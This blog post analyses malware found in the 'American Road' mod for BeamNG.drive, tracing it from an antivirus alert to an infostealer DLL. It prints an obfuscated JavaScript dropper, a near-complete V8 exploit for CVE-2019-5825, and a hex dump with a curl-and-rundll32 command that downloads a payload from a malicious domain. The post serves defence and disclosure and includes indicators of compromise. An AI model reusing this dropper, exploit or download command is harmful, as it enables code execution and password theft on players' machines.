How I Found Malware in a BeamNG Mod
WARNING: This post contains snippets of code from real malware. Do not run any of the code in this post outside of a secure, isolated virtual machine.
Last week, I fired up BeamNG.drive hoping to enjoy a ride around Belasco City. But, just after I launched the game, I noticed an odd notification from my antivirus software.
curl.exe
? That can’t be good.
Cloudflare Radar confirmed the domain curl
tried to access is known to be malicious.
At this point, however, I wasn’t 100% sure this came from the game.
Starting the investigation
To find out if the problem was indeed in the game, I re-launched it with Process Monitor running.
Filtering through the events, my suspicion was confirmed: a process launching cmd
with a curl
command was spawned by the game.
But where exactly was this command coming from? Was it a mod, or was the game itself compromised?
Inspecting the call stack in Process Monitor shows the command was executed by calling WinExec
, a legacy function from 16-bit Windows that is commonly used in shellcode malware.
To take a closer look, I attached the WinDbg debugger to the game process and set a breakpoint on WinExec
.
When the malicious code tries to run the command, the debugger will pause the process and allow me to inspect the call stack and memory.
That breakpoint was hit at the exact moment I opened the in-game mod manager.
WinDbg shows which memory address WinExec
was called at, and we can use that to find the shellcode that executed the command.
But how did this shellcode even get there in the first place?
Unfortunately, the call stack doesn’t show us which file it came from, but it does contain another clue: libcef
.
This refers to the Chromium Embedded Framework, which suggests a vulnerability in Chromium might have been exploited to insert the shellcode into memory.
BeamNG.drive uses Chromium to render parts of the UI, including the mod manager where the malicious code was executed.
I disabled all my downloaded mods and dug deeper.
The mod
I had a few more clues to help narrow down my search:
- When I previously played the game 2 months ago, there was nothing suspicious.
- The malicious command was spawned when I opened the in-game mod manager.
- Disabling all mods stopped the suspicious event from appearing.
Using this info, I focused on the mods I had installed or updated in the last 2 months.
After unpacking the mod .zip
files and searching through dozens upon dozens of Lua files, I found… nothing.
Looking through that many files was just too slow. I needed to find out exactly which mod was causing the problem.
With any luck, the moment I enabled the problematic mod, the suspicious event would reappear, so I started to enable them one by one. And sure enough, it came back when I turned on a mod called American Road.
The dropper
Now that I knew which mod was the culprit, finding the malicious code should be much easier.
First stage
It didn’t take long to find some suspicious JavaScript code in a file named american_road_patreon_banner.js
.
// create banner and load compiled css
const baseFolder = "/ui/modModules/american_road_patreon_banner"
var xhr = new XMLHttpRequest();
xhr.open('GET', baseFolder + "/banner.c_css", true);
xhr.responseType = "arraybuffer";
xhr.onload = () => {
if (xhr.status === 200) {
var compiledcss = new TextDecoder().decode(xhr.response);
var styles = ((s, k) => [...s]
.map((c, i) => String.fromCharCode(c.charCodeAt(0) ^ k.charCodeAt(i % k.length)))
.join(''))(compiledcss, "css");
setTimeout(() => {
var bannerImage = document.createElement("img", [].constructor.constructor(styles)());
bannerImage.id = "patreon-banner"
bannerImage.src = baseFolder + "/banner.gif";
bannerImage.style = "display:none; padding-top: 2.6rem;";
document.body.appendChild(bannerImage);
}, 500)
}
};
xhr.send();
// handle showing and hiding of banner
// when the player is on american road and is in the escape menu, the banner will show
export default angular.module('american_road_patreon_banner', ['ui.router'])
.config(['$stateProvider', function($stateProvider) {
$stateProvider.state('menu.american_road_patreon_banner', {
url: '/american_road_patreon_banner',
templateUrl: '/ui/modModules/american_road_patreon_banner/american_road_patreon_banner.html',
controller: 'AMPatreonBannerController',
})
}])
// ...irrelevant code truncated
At first glance, this looks like a harmless script that shows a Patreon banner when the player uses the American Road map. But on closer inspection, there are a few things that look off:
The
american_road_patreon_banner.html
file that’s referenced in the script does not actually exist.It attempts to load a “compiled CSS” file called
banner.c_css
using anXMLHttpRequest
, which seems unnecessarily complex.var xhr = new XMLHttpRequest(); xhr.open('GET', baseFolder + "/banner.c_css", true); xhr.responseType = "arraybuffer";
After loading the “compiled CSS”, the script decodes it using bitwise XOR with the string
css
.var compiledcss = new TextDecoder().decode(xhr.response); var styles = ((s, k) => [...s] .map((c, i) => String.fromCharCode(c.charCodeAt(0) ^ k.charCodeAt(i % k.length))) .join(''))(compiledcss, "css");
The most suspicious part is [].constructor.constructor(styles)()
.
Let’s break this expression down into its components:
[]
is an empty array literal.[].constructor
is the constructor of the array type, which is a function.- Functions in JavaScript are objects too, of the
Function
type, so[].constructor.constructor
is the constructor of theFunction
type. (styles)
calls theFunction
constructor creating a new function from the stringstyles
.()
calls the newly created function.
A deobfuscated version of this would look like Function(styles)()
, which is essentially the same as eval(styles)
, but disguised to seem like legitimate code.
Another interesting file is a Lua script that reloads the user interface after the mod is loaded, which the author of the dropper was kind enough to document for us.
-- beamng race condition causes ui files from mods to not be found when the ui gets loaded
-- since the mod zip file gets mounted AFTER the ui loads.
-- we reload once to load all missing ui modules
reloadUI()
Obviously, there was quite a bit of effort put into testing this dropper and ensuring it executes the JavaScript code. They even went as far as finding the correct Patreon link of the original mod author for the GIF banner image.
We’ve now established that this code is dynamically executing some hidden JavaScript, but what exactly is it executing?
Second stage
Remember that “compiled CSS” file? The first 3 lines look like this:
␏␖ C␐␜
␅␖␑ ␚␌␝,␁␆␕␅␖␁^␝␖␔S2␑␁␒␚1␆␅␕␖␑[KJ_␕␏␜␒␗,␅
␖␄^␝␖␔S5␏␜␒␗EG"␁␁␂
Clearly, the data is not in plain text, so we need to decode it.
I used this snippet from the original JavaScript, replacing the eval
-like part with console.log
to see the decoded data.
I also replaced the XMLHttpRequest
with fs.readFileSync
and then ran it with Node.js inside a virtual machine.
import fs from 'node:fs';
try {
const data = fs.readFileSync('banner.c_css');
var compiledcss = new TextDecoder().decode(data);
var styles = ((s, k) => [...s]
.map((c, i) => String.fromCharCode(c.charCodeAt(0) ^ k.charCodeAt(i % k.length)))
.join(''))(compiledcss, "css");
console.log(styles);
} catch (err) {
console.error(err);
}
This gives us the second stage of the dropper:
WARNING: THIS IS DANGEROUS CODE. Even though I’ve omitted the bad part of the payload, do not run this unless you know what you’re doing.
// ...truncated
function gfxbuffer() {
for (let r = 0; r < 10 ** 5; r++) test(array);
(array.length = 33554431),
array.fill(1, 23, 24),
array.fill(1, 25),
array.push(2),
(array.length += 500),
(cnt = 1);
try {
test(array);
} catch (r) {
return test_array();
}
return False;
}
// ...truncated
function rq(r) {
let t = farray[25];
farray[25] = (r - 0x1fn).i2f();
let n = tarray[0];
return (farray[25] = t), n;
}
function wq(r, t) {
let n = farray[25];
(farray[25] = (r - 0x1fn).i2f()), (tarray[0] = t), (farray[25] = n);
}
function addrof(r) {
return (obj.b = r), farray[33].f2i();
}
function cpy(r, t) {
t.forEach((t, n) => {
wq(r + BigInt(n), BigInt(t));
});
}
function parse_css() {
const r = new Uint8Array([
0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96,
0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 6, 129, 128, 128,
128, 0, 0, 7, 133, 128, 128, 128, 0, 1, 1, 97, 0, 0, 10, 138,
128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 0, 11,
]),
t = new WebAssembly.Instance(new WebAssembly.Module(r)).exports.a;
gfxbuffer();
let n = rq(addrof(t) - 1n + 24n) - 1n,
e = rq(n + 8n) - 1n,
a = rq(e + 16n) - 1n;
cpy(
rq(a + 0xe8n) + 0n,
[
72, 131, 236, // ...truncated
],
),
setTimeout(t, 1e3);
}
parse_css();
There’s a lot going on here, but in essence this code exploits CVE-2019-5825, a 6-year-old vulnerability in Chromium’s V8 JavaScript engine, to write machine code to an out-of-bounds executable memory location. The code above is an almost identical copy of this proof-of-concept on GitHub.
We start with a WebAssembly module that is defined and instantiated in the JavaScript.
const r = new Uint8Array([ 0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 6, 129, 128, 128, 128, 0, 0, 7, 133, 128, 128, 128, 0, 1, 1, 97, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 0, 11, ]), t = new WebAssembly.Instance(new WebAssembly.Module(r)).exports.a;
The contents of this module are not really important, as long as it exports a function. In this case, it’s a function called
a
that returns0
.(module (type (;0;) (func (result i32))) (func (;0;) (type 0) (result i32) i32.const 0 ) (export "a" (func 0)) )
The
gfxbuffer
function sets the stage for out-of-bounds memory reading and writing.The memory address of the WASM
a
function is determined.let n = rq(addrof(t) - 1n + 24n) - 1n, e = rq(n + 8n) - 1n, a = rq(e + 16n) - 1n;
A shellcode is copied into where the
a
function is located in memory.cpy( rq(a + 0xe8n) + 0n, [ 72, 131, 236, // ...truncated ], ),
Finally, the now-modified
a
function is scheduled to run after a 1-second delay.setTimeout(t, 1e3);
To make this work, a few primitives are defined:
addrof
: gets the address of an object in memory.rq
: likely stands for “read quadword”, and reads a 64-bit value from a memory address.wq
: similarly, probably “write quadword”, and writes a 64-bit value to memory at a specified address.cpy
: copies an array of values to a specified memory location.
Third stage: the shellcode
The data that is copied into executable memory is the shellcode payload we’re looking for. Going deeper down this rabbit hole, we can write the bytes to a file to get a better look at it.
import fs from 'node:fs';
const r = new Uint8Array([
72, 131, 236, // ...truncated
]);
fs.writeFileSync("shellcode.bin", r);
Viewing the resulting file in a hex or text editor reveals the original curl
command we saw in Process Monitor and WinDbg:
Offset Bytes Ascii
00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
------ ----------------------------------------------- -----
000030 C8 41 8B 41 18 85 C0 74 58 45 8B 51 20 48 89 5C ÈA�A��ÀtXE�Q H�\
000040 24 20 48 BB 57 69 6E 45 78 65 63 00 0F 1F 40 00 $ H»WinExec ��@
...
0000A0 33 C0 48 83 C4 28 C3 63 6D 64 20 2F 63 20 63 75 3ÀH�Ä(Ãcmd /c cu
0000B0 72 6C 20 2D 73 20 2D 2D 66 61 69 6C 20 68 74 74 rl -s --fail htt
0000C0 70 73 3A 2F 2F 61 63 37 62 32 65 64 61 36 66 31 ps://ac7b2eda6f1
0000D0 34 2E 64 61 74 61 68 6F 67 2E 73 75 2F 32 77 33 4.datahog.su/2w3
0000E0 65 39 38 74 35 7A 68 32 39 38 77 33 74 7A 68 67 e98t5zh298w3tzhg
0000F0 37 39 38 32 77 33 74 34 65 67 20 2D 6F 20 22 25 7982w3t4eg -o "%
000100 54 45 4D 50 25 5C 74 6D 70 36 46 43 31 35 2E 74 TEMP%\tmp6FC15.t
000110 6D 70 22 20 26 26 20 6D 6F 76 65 20 22 25 54 45 mp" && move "%TE
000120 4D 50 25 5C 74 6D 70 36 46 43 31 35 2E 74 6D 70 MP%\tmp6FC15.tmp
000130 22 20 22 25 54 45 4D 50 25 5C 74 6D 70 36 46 43 " "%TEMP%\tmp6FC
000140 31 35 2E 64 6C 6C 22 20 26 26 20 72 75 6E 64 6C 15.dll" && rundl
000150 6C 33 32 20 22 25 54 45 4D 50 25 5C 74 6D 70 36 l32 "%TEMP%\tmp6
000160 46 43 31 35 2E 64 6C 6C 22 2C 6D 61 69 6E 00 FC15.dll",main
The bytes before the command are probably x86 instructions that locate and call the WinExec
function, which is responsible for executing the command.
The payload
All the code we’ve seen so far is just to download and execute a DLL file from the Internet. This DLL is the real malware and a quick analysis reveals it’s an infostealer that steals passwords from browsers and the Exodus crypto wallet app.
Indicators of compromise
File paths:
%TEMP%\tmp6FC15.tmp
%TEMP%\tmp6FC15.dll
%TEMP%\TMP785E.tmp
Hashes:
MD5:
fb2799e1d76a5897bcc2675e90f22869
SHA-1:
96708c84e07d058b5f0012666e565617907add99
SHA-256:
9ec86514d5993782d455a4c9717ec4f06d0dfcd556e8de6cf0f8346b8b8629d4
MD5:
3134c94ffbc5ee53f76e12d88e8d964d
SHA-1:
a77271854d70ac119552ab830eb266e94cc8b9cc
SHA-256:
75c0aa897075a7bfa64d8a55be636a6984e2d1a5a05a54f0f01b0eb4653e9c7a
Domains:
ac7b2eda6f14.datahog.su
datacrab-analytics.com
So, what now?
After determining which mod is infected, I reached out to the BeamNG team with details about the mod and the malicious code. Within a few days, the infected mod version was removed from the official repository, and its author’s account was suspended because it is very likely compromised.
If you have American Road installed, you should remove it and scan your computer for malware. I also recommend changing all your passwords, as it’s possible they might have been stolen if your antivirus didn’t stop the DLL from executing.
Looking through the mod’s page on the BeamNG website, I found the malicious code was added on April 1st. The changelog stating “added patreon banner” was the final nail in the coffin. Unfortunately, over 3500 people had already downloaded the compromised version of the mod before it was removed, so it’s possible that some had their passwords or personal information stolen. VirusTotal reports that most antivirus programs detect the DLL as malicious, including Microsoft Windows Defender, but there is about a one-week gap between the April 1st update and the first analysis.
To prevent incidents like this from happening in the future, the solution could be as simple as updating the Chromium Embedded Framework dependency to a newer version.
WinDbg shows that the game is using version 3.3626.1895.g7001d56
which was released in March 2019 (yes, that’s 6 years old already!), and there were quite a few Chromium out-of-bounds access vulnerabilities fixed in the last few years.
BeamNG.drive also uses the --no-sandbox
flag, which likely allowed the exploit to work in the first place, so removing it would be a good idea as well.
Perhaps I’ll make a follow-up post reverse-engineering the shellcode and analyzing the DLL in more detail, so stay tuned!
Summary
In this post, we looked at an infected mod for BeamNG.drive that included obfuscated JavaScript and shellcode. Starting with an antivirus alert, we used Process Monitor and WinDbg to gather important details, and then uncovered each layer of the malicious code with reverse engineering. We found that a Chromium vulnerability involving WASM and out-of-bounds memory access was exploited to write shellcode into executable memory. Finally, we discovered that the shellcode downloads a malicious DLL file that steals passwords and personal information.
Shout-out to Elliott for helping out with the DLL analysis, and a big thank-you to my dad for walking me through WinDbg!
And of course, thank you for reading! If you liked this post, please share the link anywhere you like.